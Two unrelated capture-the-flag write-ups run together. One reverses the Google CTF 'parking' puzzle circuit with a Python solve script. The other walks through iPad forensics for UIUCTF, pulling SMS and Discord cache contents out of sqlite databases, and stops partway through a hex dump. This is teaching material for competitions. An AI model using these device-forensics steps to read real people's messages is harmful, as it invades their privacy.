So after starting the first level, we are greeted with this matplotlibdiagram: ```python game.py level1``` ![level1](https://hack.more.systems/images/posts/2021-07-06-googlectf-parking-level1.png) This is actually a game that can be played by clicking inside the diagram. The green, grey and red boxes represent cars. They can be moved onlyforward and backward (apparently driving wheels were not invented yet). Thegoal of the game is to arrange the car in a way that allows the red car tomove. This is actually very similar to the principle of this[Android game "Unblock Me"](https://play.google.com/store/apps/details?id=com.kiragames.unblockmefree&hl=en_US&gl=US) The position of the green car(s) is then used to calculate the flag. Level 1was only for demonstration of the rules. Level 2 is the real challenge,so let's fire that up ```python game.py level2``` ![level2](https://hack.more.systems/images/posts/2021-07-06-googlectf-parking-level2.png) Well ok, this is slightly more complicated. If you zoom in more you can stillsee the individual cars though, so it should not be that complicated. We did know that this challenge can be solved with a tool like `z3`, but werealized that there are a lot of similar patterns throughout the entire"parking lot". Also we were amazed by the idea of building logic gates out ofcars, so we started examining: Something we noticed is that the red car is in the lower right corner of theplane, while all the green cars are at the very left. Also the entire structurehas their components replicated 64 times vertically. There are also exactly 64green cars, which have only two positions to be in. This means our inputis a 64 bit number which we apply some logic on to derive wether their positionallows the red car to move or not. ## Basic Components and Gates Let's dig into the basic components. At the smalest scale we have: | component | explanation || --------- | ----------- || ![x](https://hack.more.systems//images/posts/2021-07-06-googlectf-parking-or_gate.png) | or gate: either car can move out of the way to allow the ouput car to move || ![x](https://hack.more.systems//images/posts/2021-07-06-googlectf-parking-and_gate.png) | and gate: both cars need to move to allow the ouput car to move || ![x](https://hack.more.systems//images/posts/2021-07-06-googlectf-parking-splitter.png) | splitter: if an and gate is used in the other direction, we get a signal splitter || ![x](https://hack.more.systems//images/posts/2021-07-06-googlectf-parking-crossing.png)| crossing: both chains (top to bottom and left to right) can independently carry their signal || ![x](https://hack.more.systems//images/posts/2021-07-06-googlectf-parking-constant.png) | constant: a constant is represented via a dead end wich either allows the car to move or not | ## Higher Level Gates The reason a constant always consists of two opposing strands is very simple:In order to force the green cars into a certain position, the challenge authors had to consider both cases (car up or car down) and apply logic to it. If only one position was checked, we could just move all cars in the opposite position and get a valid solution to the puzzle, but not the intended flag. So actually the entire higher level logic always has two opposing strands for every signal. From the basic components we recognized before, some more advanced logic blocks were created: | component | explanation || --------- | ----------- || ![x](https://hack.more.systems//images/posts/2021-07-06-googlectf-parking-xor_gate.png) | xor gate: this gate first calculates all combinations of the four inputs (remember that the inputs a and a always come as two opposing "wires". from top to bottom we have a, ¬a, b and ¬b.The output XOR is then computed as (a AND ¬b) OR (¬a AND b). Because this is a higher level component, all calculations have to be done twice, so the negative strand is calculated as (a AND b) OR (¬a AND ¬b) || ![x](https://hack.more.systems//images/posts/2021-07-06-googlectf-parking-half_adder.png) | half adder: similarly to the xor gate, but it additionally performs the calculaiton of the carry bit as (a AND b) with the respective negative strand | ## The Big Picture (literally) We can now reconstruct what the entire circuit does. If we take three of the 64 rows, the circuit looks like this: ![Truncated parking lot without annotations](https://hack.more.systems/images/posts/2021-07-06-googlectf-parking-3fold.png) ![Truncated parking lot with annotations](https://hack.more.systems/images/posts/2021-07-06-googlectf-parking-annotated.png) (Note: all the inputs that are not connected just lead to zero constants) We can see that the half adders always form a full adder.So the entire circuit performs the following operations: 1. XOR with a 64-bit constant1. Multiply with 3 by adding the value to itself shifted by one (`x + (x<<1) == x * 3`)1. XOR with the current value shifted by 1 (`x ^ (x>>1)`)1. Rotate right by one (`ROR x`)1. Add a 64-bit constant1. XOR with a 64-bit constant1. And all bits of the current value The result of those operations needs to be 0. So we only had to write a little scirpt that extracted all the constants and calculated backwards to get the position of the cars. This took some time, but at the end it did work and we could recover the flag using the code from the `game.py` file. Turns out the 64-bit input value it is just ASCII encoded text # Flag ```CTF{2TheBr1m}``` # Files ## `sovle.py` ```pythonimport sysimport timeimport stringfrom PIL import Image, ImageDrawfrom matplotlib import pyplot as pltif sys.platform == 'darwin': import matplotlib matplotlib.use('TkAgg')import osimport numpy as np def bitstoint(bits): return int(''.join(str(x) for x in bits[::-1]), 2) def bitstostr(bits): return ''.join(str(x) for x in bits[::-1]) def inttobits(i): return [int(x) for x in "{0:064b}".format(i)[::-1]] def inttostr(i): return "{0:064b}".format(i) assert bitstoint(inttobits(123456)) == 123456 pic = Image.open("big.png")data = np.array(pic)starts = [[2301,805], [1509,1285], [21,805]]rowsize = 1237 - 805rows = 64 consts = [[] for _ in range(len(starts))]for i, var64 in enumerate(starts): for row in range(rows): x = var64[0] y = var64[1]+row*rowsize assert data[y][x][2] in [0, 255] bit = data[y][x][2] == 0 consts[i].append(int(bit)) carry = 0sub1 = []for i in range(64): in1 = consts[0][i] ^ consts[1][i] ^ carry sub1.append(in1) carry = int(consts[1][i] + carry + in1 >= 2) sub1i = bitstoint(sub1)sub1i_fast = bitstoint(consts[0]) - bitstoint(consts[1])assert sub1i == sub1i_fast rol1 = sub1[-1:] + sub1[:-1] carry = 0xor2 = []for i in range(64)[::-1]: in1 = rol1[i] ^ carry xor2.append(in1) carry = in1 xor2 = xor2[::-1] carry = 0in1 = 0sub2 = []for i in range(64): in2 = in1 ^ xor2[i] ^ carry sub2.append(in2) carry = int(carry + in1 + in2 >= 2) in1 = in2 sub2i = bitstoint(sub2)sub2i_fast = (bitstoint(xor2) + 2**64) / 3assert inttobits((sub2i * 3) % (2**64)) == xor2 res = [x ^ y for x,y in zip(sub2, consts[2])] def printflag(res): bits = ''.join(str(x) for x in res) flag = b"CTF{" while bits: byte, bits = bits[:8], bits[8:] flag += bytes([ int(byte[::-1], 2) ]) flag += b"}" print(flag) printflag(res)```
*This writeup is also readable on my [GitHub repository](https://github.com/shawnduong/zero-to-hero-hacking/blob/master/writeups/closed/2021-uiuctf.md) and [personal website](https://shawnd.xyz/blog/2021-08-05/Performing-Digital-Forensics-on-an-Apple-Tablet-to-Recover-Evidence).* ## forensics/Tablet 2 *Challenge written by WhiteHoodHacker.* > Wait... there are TWO impostors?! Red must have been in contact with the other impostor. See if you can find out what they are plotting. Files: [`tablet.tar.gz`](https://shawnd.xyz/blog/uploads/2021-08-05/tablet.tar.gz) Checksum (SHA-1): ```27dfb3448130b5e4f0f73a51d2a41b32fd81b284 tablet.tar.gz``` Looks like this is a development to our initial investigation! Based on this description, let's get our situation oriented: - There's another impostor that Red's been in contact with.- Our objective is to find out what they're plotting. Immediately, my mind jumps to SMS text messages. Let's find out where SMS text messages are located on the tablet: ```sh[skat@anubis:~/work/UIUCTF/private/var] $ find . -name "SMS"./mobile/Library/SMS[skat@anubis:~/work/UIUCTF/private/var] $ cd mobile/Library/SMS/[skat@anubis:~/work/UIUCTF/private/var/mobile/Library/SMS] $ lsCloudKitMetaData PluginMetaDataCache transferInfo prewarm.db prewarm.db-wal sms.db-shmDrafts StickerCache com.apple.messages.geometrycache_v5.plist prewarm.db-shm sms.db sms.db-wal``` `sms.db` looks interesting. Let's access and dump that database, just like we dumped an application's database in **forensics/Tablet 1** earlier: ```sh[skat@anubis:~/work/UIUCTF/private/var/mobile/Library/SMS] $ sqlite3 sms.db``` ```sqlSQLite version 3.36.0 2021-06-18 18:36:39Enter ".help" for usage hints.qlite> .dumpearlieAGMA foreign_keys=OFF;BEGIN TRANSACTION;CREATE TABLE _SqliteDatabaseProperties (key TEXT, value TEXT, UNIQUE(key));INSERT INTO _SqliteDatabaseProperties VALUES('counter_in_all','0');INSERT INTO _SqliteDatabaseProperties VALUES('counter_out_all','0');INSERT INTO _SqliteDatabaseProperties VALUES('counter_in_lifetime','0');INSERT INTO _SqliteDatabaseProperties VALUES('counter_out_lifetime','0');INSERT INTO _SqliteDatabaseProperties VALUES('counter_last_reset','0');INSERT INTO _SqliteDatabaseProperties VALUES('_ClientVersion','14006');INSERT INTO _SqliteDatabaseProperties VALUES('__CSDBRecordSequenceNumber','175');CREATE TABLE deleted_messages (ROWID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, guid TEXT NOT NULL);CREATE TABLE chat_handle_join (chat_id INTEGER REFERENCES chat (ROWID) ON DELETE CASCADE, handle_id INTEGER REFERENCES handle (ROWID) ON DELETE CASCADE, UNIQUE(chat_id, handle_id));INSERT INTO chat_handle_join VALUES(2,2);CREATE TABLE sync_deleted_messages (ROWID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, guid TEXT NOT NULL, recordID TEXT );INSERT INTO sync_deleted_messages VALUES(1,'91ED3477-EDA9-48BF-8E87-873B37D804A8','');INSERT INTO sync_deleted_messages VALUES(2,'D06D2D50-7C12-4114-B849-1A1D2146D306',NULL);INSERT INTO sync_deleted_messages VALUES(3,'1EE3DB69-8FD1-478F-A7A7-D0C3D8716133',NULL);INSERT INTO sync_deleted_messages VALUES(4,'096B56BF-5A85-4194-A5CA-4A9195AE0183',NULL);INSERT INTO sync_deleted_messages VALUES(5,'D4A09E09-A6FE-40D6-B79C-B68A878B0568','');INSERT INTO sync_deleted_messages VALUES(6,'0C78643A-0A67-4022-A3F2-301A9496F2AD','');CREATE TABLE message_processing_task (ROWID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, guid TEXT NOT NULL, task_flags INTEGER NOT NULL );CREATE TABLE handle (ROWID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, id TEXT NOT NULL, country TEXT, service TEXT NOT NULL, uncanonicalized_id TEXT, person_centric_id TEXT, UNIQUE (id, service) );INSERT INTO handle VALUES(2,'[email protected]','us','iMessage',NULL,NULL);CREATE TABLE sync_deleted_chats (ROWID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, guid TEXT NOT NULL, recordID TEXT,timestamp INTEGER);CREATE TABLE message_attachment_join (message_id INTEGER REFERENCES message (ROWID) ON DELETE CASCADE, attachment_id INTEGER REFERENCES attachment (ROWID) ON DELETE CASCADE, UNIQUE(message_id, attachment_id));CREATE TABLE sync_deleted_attachments (ROWID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, guid TEXT NOT NULL, recordID TEXT );INSERT INTO sync_deleted_attachments VALUES(1,'F0DA17FE-0A7B-4B8D-BAA0-0CB898315AA4',NULL);CREATE TABLE kvtable (ROWID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, key TEXT UNIQUE NOT NULL, value BLOB NOT NULL);CREATE TABLE chat_message_join (chat_id INTEGER REFERENCES chat (ROWID) ON DELETE CASCADE, message_id INTEGER REFERENCES message (ROWID) ON DELETE CASCADE, message_date INTEGER DEFAULT 0, PRIMARY KEY (chat_id, message_id));INSERT INTO chat_message_join VALUES(2,7,648927160045514368);INSERT INTO chat_message_join VALUES(2,8,648927174089999872);-- snip --``` Alright, that's a lot of data to take in! Let's find out what tables are created and prepare our filters from there. ```sqlsqlite> .tables_SqliteDatabaseProperties kvtableattachment messagechat message_attachment_joinchat_handle_join message_processing_taskchat_message_join sync_deleted_attachmentsdeleted_messages sync_deleted_chatshandle sync_deleted_messages``` The table "message" looks interesting. Let's have a look at that. ```sqlsqlite> .dump messagePRAGMA foreign_keys=OFF;BEGIN TRANSACTION;CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, guid TEXT UNIQUE NOT NULL, text TEXT, replace INTEGER DEFAULT 0, service_center TEXT, handle_id INTEGER DEFAULT 0, subject TEXT, country TEXT, attributedBody BLOB, version INTEGER DEFAULT 0, type INTEGER DEFAULT 0, service TEXT, account TEXT, account_guid TEXT, error INTEGER DEFAULT 0, date INTEGER, date_read INTEGER, date_delivered INTEGER, is_delivered INTEGER DEFAULT 0, is_finished INTEGER DEFAULT 0, is_emote INTEGER DEFAULT 0, is_from_me INTEGER DEFAULT 0, is_empty INTEGER DEFAULT 0, is_delayedINTEGER DEFAULT 0, is_auto_reply INTEGER DEFAULT 0, is_prepared INTEGER DEFAULT 0, is_read INTEGER DEFAULT 0, is_system_message INTEGER DEFAULT 0, is_sent INTEGER DEFAULT 0, has_dd_resultsINTEGER DEFAULT 0, is_service_message INTEGER DEFAULT 0, is_forward INTEGER DEFAULT 0, was_downgraded INTEGER DEFAULT 0, is_archive INTEGER DEFAULT 0, cache_has_attachments INTEGER DEFAULT0, cache_roomnames TEXT, was_data_detected INTEGER DEFAULT 0, was_deduplicated INTEGER DEFAULT 0, is_audio_message INTEGER DEFAULT 0, is_played INTEGER DEFAULT 0, date_played INTEGER, item_type INTEGER DEFAULT 0, other_handle INTEGER DEFAULT 0, group_title TEXT, group_action_type INTEGER DEFAULT 0, share_status INTEGER DEFAULT 0, share_direction INTEGER DEFAULT 0, is_expirable INTEGER DEFAULT 0, expire_state INTEGER DEFAULT 0, message_action_type INTEGER DEFAULT 0, message_source INTEGER DEFAULT 0, associated_message_guid TEXT, associated_message_type INTEGER DEFAULT 0, balloon_bundle_id TEXT, payload_data BLOB, expressive_send_style_id TEXT, associated_message_range_location INTEGER DEFAULT 0, associated_message_range_length INTEGER DEFAULT 0, time_expressive_send_played INTEGER, message_summary_info BLOB, ck_sync_state INTEGER DEFAULT 0, ck_record_id TEXT, ck_record_change_tag TEXT, destination_caller_id TEXT, sr_ck_sync_state INTEGER DEFAULT 0, sr_ck_record_id TEXT, sr_ck_record_change_tag TEXT, is_corrupt INTEGER DEFAULT 0, reply_to_guid TEXT, sort_id INTEGER, is_spam INTEGER DEFAULT 0, has_unseen_mention INTEGER DEFAULT 0, thread_originator_guid TEXT, thread_originator_part TEXT);INSERT INTO message VALUES(7,'336CCB7F-3CB8-477A-AEED-8A4418EE7FFF','Hey what’s your Discord tag',0,NULL,2,NULL,NULL,X'040b73747265616d747970656481e803840140848484124e5341747472696275746564537472696e67008484084e534f626a656374008592848484084e53537472696e67019484012b1d4865792077686174e280997320796f757220446973636f7264207461678684026949011b928484840c4e5344696374696f6e617279009484016901928496961d5f5f6b494d4d657373616765506172744174747269627574654e616d658692848484084e534e756d626572008484074e5356616c7565009484012a84999900868686',10,0,'iMessage','E:[email protected]','73890C71-600D-4961-B1A7-687F2FAD3566',0,648927160045514368,648927163675579008,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,NULL,1,0,0,0,0,0,0,NULL,0,0,0,0,0,0,0,NULL,0,NULL,NULL,NULL,0,0,0,X'62706c6973743030d20102030453616d6353757374100009080d1115170000000000000101000000000000000500000000000000000000000000000018',0,NULL,NULL,'[email protected]',0,NULL,NULL,0,NULL,0,0,0,NULL,NULL);INSERT INTO message VALUES(8,'0D123DA5-AB98-49EF-821A-5B9BC672E461','RedAmogus#8715',0,NULL,2,NULL,NULL,X'040b73747265616d747970656481e803840140848484194e534d757461626c6541747472696275746564537472696e67008484124e5341747472696275746564537472696e67008484084e534f626a6563740085928484840f4e534d757461626c65537472696e67018484084e53537472696e67019584012b0e526564416d6f67757323383731358684026949010e928484840c4e5344696374696f6e617279009584016901928498981d5f5f6b494d4d657373616765506172744174747269627574654e616d658692848484084e534e756d626572008484074e5356616c7565009584012a849b9b00868686',10,0,'iMessage','E:[email protected]','73890C71-600D-4961-B1A7-687F2FAD3566',0,648927174089999872,648927174257075840,648927174238451968,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,NULL,1,0,0,0,0,0,0,NULL,0,0,0,0,0,0,0,NULL,0,NULL,NULL,NULL,0,0,0,X'62706c6973743030d101025375737409080b0f0000000000000101000000000000000300000000000000000000000000000010',0,'','','[email protected]',0,'','',0,'336CCB7F-3CB8-477A-AEED-8A4418EE7FFF',0,0,0,NULL,NULL);INSERT INTO message VALUES(9,'8F42373C-2567-4CCE-8D2A-6EBB95E5FD1D','Ok I sent you a friend request',0,NULL,2,NULL,NULL,X'040b73747265616d747970656481e803840140848484124e5341747472696275746564537472696e67008484084e534f626a656374008592848484084e53537472696e67019484012b1e4f6b20492073656e7420796f75206120667269656e6420726571756573748684026949011e928484840c4e5344696374696f6e617279009484016901928496961d5f5f6b494d4d657373616765506172744174747269627574654e616d658692848484084e534e756d626572008484074e5356616c7565009484012a84999900868686',10,0,'iMessage','E:[email protected]','73890C71-600D-4961-B1A7-687F2FAD3566',0,648927183589449856,648927183862630016,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,NULL,1,0,0,0,0,0,0,NULL,0,0,0,0,0,0,0,NULL,0,NULL,NULL,NULL,0,0,0,X'62706c6973743030d20102030453616d6353757374100009080d1115170000000000000101000000000000000500000000000000000000000000000018',0,NULL,NULL,'[email protected]',0,NULL,NULL,0,'0D123DA5-AB98-49EF-821A-5B9BC672E461',0,0,0,NULL,NULL);INSERT INTO message VALUES(10,'55C30F22-0A25-4391-BC0B-FD706018D307','We should communicate on there instead of iMessage',0,NULL,2,NULL,NULL,X'040b73747265616d747970656481e803840140848484124e5341747472696275746564537472696e67008484084e534f626a656374008592848484084e53537472696e67019484012b3257652073686f756c6420636f6d6d756e6963617465206f6e20746865726520696e7374656164206f6620694d65737361676586840269490132928484840c4e5344696374696f6e617279009484016901928496961d5f5f6b494d4d657373616765506172744174747269627574654e616d658692848484084e534e756d626572008484074e5356616c7565009484012a84999900868686',10,0,'iMessage','E:[email protected]','73890C71-600D-4961-B1A7-687F2FAD3566',0,648927208709548672,648927208949269120,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,NULL,1,0,0,0,0,0,0,NULL,0,0,0,0,0,0,0,NULL,0,NULL,NULL,NULL,0,0,0,X'62706c6973743030d20102030453616d6353757374100009080d1115170000000000000101000000000000000500000000000000000000000000000018',0,NULL,NULL,'[email protected]',0,NULL,NULL,0,'8F42373C-2567-4CCE-8D2A-6EBB95E5FD1D',0,0,0,NULL,NULL);INSERT INTO message VALUES(11,'A5BE983C-196B-48DC-B412-CE69A8B115FE','?',0,NULL,2,NULL,NULL,X'040b73747265616d747970656481e803840140848484124e5341747472696275746564537472696e67008484084e534f626a656374008592848484084e53537472696e67019484012b04f09fa4a286840269490102928484840c4e5344696374696f6e617279009484016901928496961d5f5f6b494d4d657373616765506172744174747269627574654e616d658692848484084e534e756d626572008484074e5356616c7565009484012a84999900868686',10,0,'iMessage','E:[email protected]','73890C71-600D-4961-B1A7-687F2FAD3566',0,648927219266664448,648927219586212096,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,NULL,1,0,0,0,0,0,0,NULL,0,0,0,0,0,0,0,NULL,0,NULL,NULL,NULL,0,0,0,X'62706c6973743030d20102030453616d6353757374100009080d1115170000000000000101000000000000000500000000000000000000000000000018',0,NULL,NULL,'[email protected]',0,NULL,NULL,0,'55C30F22-0A25-4391-BC0B-FD706018D307',0,0,0,NULL,NULL);COMMIT;``` That's still a lot to take in! It may be valuable to understand how this table is constructed: ```sqlCREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, guid TEXT UNIQUE NOT NULL, text TEXT, replace INTEGER DEFAULT 0, service_center TEXT, handle_id INTEGER DEFAULT 0, subject TEXT, country TEXT, attributedBody BLOB, version INTEGER DEFAULT 0, type INTEGER DEFAULT 0, service TEXT, account TEXT, account_guid TEXT, error INTEGER DEFAULT 0, date INTEGER, date_read INTEGER, date_delivered INTEGER, is_delivered INTEGER DEFAULT 0, is_finished INTEGER DEFAULT 0, is_emote INTEGER DEFAULT 0, is_from_me INTEGER DEFAULT 0, is_empty INTEGER DEFAULT 0, is_delayed``` Based on this, we can prepare a SQL query to only return data from the column "text" in the table "message." ```sqlsqlite> SELECT text FROM message;Hey what’s your Discord tagRedAmogus#8715Ok I sent you a friend requestWe should communicate on there instead of iMessage?``` Just as a quick aside, I found this to be really funny while I was doing the challenge: ```sqlsqlite> SELECT account FROM message;E:[email protected]E:[email protected]E:[email protected]E:[email protected]E:[email protected]``` [poggers.university](https://poggers.university/) just redirects to [illinois.edu](https://illinois.edu/). That gave me a good laugh. Back to the challenge, it looks like our next target is Discord. If you recall from earlier in **forensics/Tablet 1**, we found that Discord was one of the apps on the tablet: ```sh[skat@anubis:~/.../Containers] $ find . -name "com.*" | awk -F '/' '{print $NF}' | sort | uniq -u | grep -v "com.apple"com.crashlyticscom.crashlytics.datacom.firebase.FIRInstallations.plistcom.google.gmp.measurement.monitor.plistcom.google.gmp.measurement.plistcom.hackemist.SDImageCachecom.hammerandchisel.discord - {DEFAULT GROUP}com.hammerandchisel.discord.plistcom.hammerandchisel.discord.savedStatecom.innersloth.amongus - {DEFAULT GROUP}com.innersloth.amongus.plistcom.innersloth.amongus.savedStatecom.itimeteo.webssh - {DEFAULT GROUP}com.itimeteo.webssh.plistcom.itimeteo.webssh.savedStatecom.plausiblelabs.crashreporter.data``` Let's go ahead and see what kind of data we can recover from the saved Discord application data on this tablet using the same method we used earlier for the SSH client: ```sh[skat@anubis:~/work/UIUCTF/private/var] $ find . -name "com.hammerandchisel.discord - {DEFAULT GROUP}"./mobile/Containers/Data/Application/0CE5D539-F72A-4C22-BADF-A02CE5A50D2E/Library/SplashBoard/Snapshots/com.hammerandchisel.discord - {DEFAULT GROUP}[skat@anubis:~/work/UIUCTF/private/var] $ cd ./mobile/Containers/Data/Application/0CE5D539-F72A-4C22-BADF-A02CE5A50D2E/[skat@anubis:~/.../0CE5D539-F72A-4C22-BADF-A02CE5A50D2E] $ tree.├── Documents│   ├── mmkv│   │   ├── mmkv.default│   │   └── mmkv.default.crc│   └── RCTAsyncLocalStorage_V1├── Library│   ├── Application Support│   │   ├── Adjust│   │   │   ├── AdjustIoActivityState│   │   │   ├── AdjustIoAttribution│   │   │   └── AdjustIoPackageQueue│   │   ├── com.crashlytics│   │   │   └── CLSUserDefaults.plist│   │   └── Google│   │   ├── FIRApp│   │   │   ├── FIREBASE_DIAGNOSTICS_HEARTBEAT_DATE│   │   │   └── HEARTBEAT_INFO_STORAGE│   │   └── Measurement│   │   ├── google-app-measurement.sql│   │   └── google_experimentation_database.sql│   ├── Caches│   │   ├── assets│   │   │   ├── components_ios│   │   │   │   └── add_friend│   │   │   │   └── images│   │   │   │   ├── [email protected]│   │   │   │   └── [email protected]│   │   │   ├── data│   │   │   │   ├── country-codes.json│   │   │   │   ├── emoji-shortcuts.json│   │   │   │   └── emojis.json│   │   │   ├── i18n│   │   │   │   ├── languages.json│   │   │   │   └── messages│   │   │   │   ├── bg.json│   │   │   │   ├── cs.json│   │   │   │   ├── da.json│   │   │   │   ├── de.json-- snip --``` 1,843 lines of output, and we don't really care about most of these files! Just like before when we found what we were looking for in the application's database file, let's apply the same idea here and see if we can find what we're looking for in the Discord app's database file(s): ```sh[skat@anubis:~/.../0CE5D539-F72A-4C22-BADF-A02CE5A50D2E] $ find . -name "*.db"./Library/Caches/com.hammerandchisel.discord/Cache.db./Library/WebKit/WebsiteData/ResourceLoadStatistics/observations.db``` `Cache.db` probably has some really interesting information valuable to us! Perhaps we can find cached messages or contacts. Let's load up the database and dig around: ```sh[skat@anubis:~/.../0CE5D539-F72A-4C22-BADF-A02CE5A50D2E] $ cd ./Library/Caches/com.hammerandchisel.discord/[skat@anubis:~/.../com.hammerandchisel.discord] $ sqlite3 Cache.db``` ```sqlSQLite version 3.36.0 2021-06-18 18:36:39Enter ".help" for usage hints.sqlite> .dumpPRAGMA foreign_keys=OFF;BEGIN TRANSACTION;CREATE TABLE cfurl_cache_response(entry_ID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, version INTEGER, hash_value INTEGER, storage_policy INTEGER, request_key TEXT UNIQUE, time_stamp NOT NULL DEFAULT CURRENT_TIMESTAMP, partition TEXT);INSERT INTO cfurl_cache_response VALUES(1,0,1139453470654270506,0,'https://discord.com/ios/83.0/manifest.json','2021-07-25 18:56:41',NULL);INSERT INTO cfurl_cache_response VALUES(2,0,-1441044142,0,'https://discord.com/api/v9/gateway','2021-07-25 18:56:42',NULL);INSERT INTO cfurl_cache_response VALUES(3,0,2017693604,0,'https://discord.com/api/v9/channels/868908952434384926/messages?limit=25','2021-07-25 18:56:43',NULL);INSERT INTO cfurl_cache_response VALUES(4,0,-1637691448,0,'https://latency.discord.media/rtc','2021-07-25 18:57:06',NULL);CREATE TABLE cfurl_cache_blob_data(entry_ID INTEGER PRIMARY KEY, response_object BLOB, request_object BLOB, proto_props BLOB, user_info BLOB);INSERT INTO cfurl_cache_blob_data VALUES(1,X'62706c6973743030d2010203045756657273696f6e5541727261791001a7050a0b0c0d3839d2060708095f10105f434655524c537472696e67547970655c5f434655524c537472696e67100f5f102a68747470733a2f2f646973636f72642e636f6d2f696f732f38332e302f6d616e69666573742e6a736f6e2341c356f5b49c4a27100010c8df10150e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f30313233343536375f1010436f6e74656e742d456e636f64696e675a782d6275696c642d69645663662d726179565365727665725d43616368652d436f6e74726f6c5f10195374726963742d5472616e73706f72742d5365637572697479585f5f686861615f5f5f10127065726d697373696f6e732d706f6c69637957416c742d537663597265706f72742d746f5f1010782d7873732d70726f74656374696f6e544461746554566172795f100f782d6672616d652d6f7074696f6e73536e656c596578706563742d63745c436f6e74656e742d5479706554457461675f100f63662d63616368652d7374617475735d4c6173742d4d6f6469666965645f1016782d636f6e74656e742d747970652d6f7074696f6e7354677a697057616534663662645f1014363734373963313133653630326137652d4f52445a636c6f7564666c617265586e6f2d63616368655f102c6d61782d6167653d33313533363030303b20696e636c756465537562446f6d61696e733b207072656c6f61645f11069c0d0a0d0a596e427361584e304d4444664542514241674d454251594843416b4b4377774e446738514552495446425558475273644879456a4a5363704b7930764d544d314e7a6b3758784151513239756447567564433146626d4e765a476c755a3170344c574a316157786b4c576c6b58557868633351745457396b61575a705a57525755325679646d567958554e685932686c4c554e76626e52796232786645426c5464484a705933517456484a68626e4e7762334a304c564e6c5933567961585235587841536347567962576c7a63326c76626e4d746347397361574e355630467364433154646d4e5a636d567762334a304c585276587841516543313463334d7463484a766447566a64476c76626c52455958526c56465a68636e6c66454139344c575a795957316c4c57397764476c76626e4e54626d5673575756346347566a6443316a64467844623235305a5735304c56523563475655525852685a31385144324e6d4c574e685932686c4c584e305958523163313851466e67745932397564475675644331306558426c4c57397764476c76626e4e5759325974636d46356f525a555a337070634b45595632466c4e475932596d5368476c38514856646c5a4377674d6a4567536e5673494449774d6a45674d5467364d5451364d544967523031556f527861593278766457526d624746795a614565574735764c574e685932686c6f53426645437874595867745957646c50544d784e544d324d4441774f794270626d4e736457526c553356695247397459576c75637a736763484a6c624739685a4b456958784153615735305a584a6c633351745932396f62334a30505367706f5352664546746f4d7930794e7a30694f6a51304d79493749473168505467324e4441774c43426f4d7930794f4430694f6a51304d79493749473168505467324e4441774c43426f4d7930794f5430694f6a51304d79493749473168505467324e4441774c43426f4d7a30694f6a51304d79493749473168505467324e4441776f535a66454f7437496d56755a48427661573530637949365733736964584a73496a6f696148523063484d36584339634c324575626d56734c6d4e736233566b5a6d7868636d557559323974584339795a584276636e52634c33597a50334d394f58566a52336c5661335a776348593261474e786258457862334e764a544a475448676c4d6b5a46636e685853323552556d78305a444d786358593554555a7455327733546c4931546e46745532706d534452764e6a6b6c4d6b4a6e56336c7653585a69596e4e685232566c51556f784e577333576b784552474e53576b566963304e3264335a524d4855784d554532636d704a613064505932684f544851306145394864466853626c553165534a39585377695a334a76645841694f694a6a5a6931755a5777694c434a74595868665957646c496a6f324d4451344d4442396f5368644d5473676257396b5a5431696247396a6136457158784164553356754c4341794e53424b645777674d6a41794d5341784f446f314e6a6f304d534248545653684c4638514430466a5932567764433146626d4e765a476c755a36457556455246546c6d684d4638514a337369636d567762334a3058335276496a6f6959325974626d567349697769625746345832466e5a5349364e6a41304f4441776661457958784258625746344c57466e5a5430324d4451344d44417349484a6c6347397964433131636d6b39496d68306448427a4f693876636d567762334a304c5856796153356a624739315a475a7359584a6c4c6d4e766253396a5a473474593264704c324a6c59574e766269396c6548426c59335174593351696f545266454242686348427361574e6864476c7662693971633239756f545a66454352584c7949774e3249314d6d466b4d4463305a446c6c4e5467314f4452694f5759784e6a4d304d4451354f575a6a5a434b684f464e49535653684f6c647562334e7561575a6d6f547866454251324e7a51334f574d784d544e6c4e6a41795954646c4c5539535241414941444d4152674252414638415a674230414a414170514374414c634179674450414e5141356744714150514241514547415267424d51453441546f425077464241556b4253774672415730426541463641594d4268514730416259427977484e416973434c514d62417830444b774d744130304454774e6841324d4461414e71413551446c675077412f494542515148424334454d4151304244594550675241414141414141414141674541414141414141414150514141414141414141414141414141414141414246633d5f1012696e7465726573742d636f686f72743d28295f105b68332d32373d223a343433223b206d613d38363430302c2068332d32383d223a343433223b206d613d38363430302c2068332d32393d223a343433223b206d613d38363430302c2068333d223a343433223b206d613d38363430305f10eb7b22656e64706f696e7473223a5b7b2275726c223a2268747470733a5c2f5c2f612e6e656c2e636c6f7564666c6172652e636f6d5c2f7265706f72745c2f76333f733d3975634779556b76707076366863716d71316f736f2532464c78253246457278574b6e51526c746433317176394d466d536c374e52354e716d536a6648346f36392532426757796f497662627361476565414a31356b375a4c444463525a4562734376777651307531314136726a496b474f63684e4c7434684f477458526e553579227d5d2c2267726f7570223a2263662d6e656c222c226d61785f616765223a3630343830307d5d313b206d6f64653d626c6f636b5f101d53756e2c203235204a756c20323032312031383a35363a343120474d545f100f4163636570742d456e636f64696e675444454e595f10277b227265706f72745f746f223a2263662d6e656c222c226d61785f616765223a3630343830307d5f10576d61782d6167653d3630343830302c207265706f72742d7572693d2268747470733a2f2f7265706f72742d7572692e636c6f7564666c6172652e636f6d2f63646e2d6367692f626561636f6e2f6578706563742d6374225f10106170706c69636174696f6e2f6a736f6e5f1024572f22303762353261643037346439653538353834623966313633343034393966636422534849545f101d5765642c203231204a756c20323032312031383a31343a313220474d54576e6f736e6966661200023b6e5f10106170706c69636174696f6e2f6a736f6e0008000d0015001b001d0025002a003d004a004c007900820084008600b300c600d100d800df00ed010901120127012f0139014c015101560168016c017601830188019a01a801c101c601ce01e501f001f9022808c808dd093b0a290a370a570a690a6e0a980af20b050b2c0b300b500b580b5d00000000000002010000000000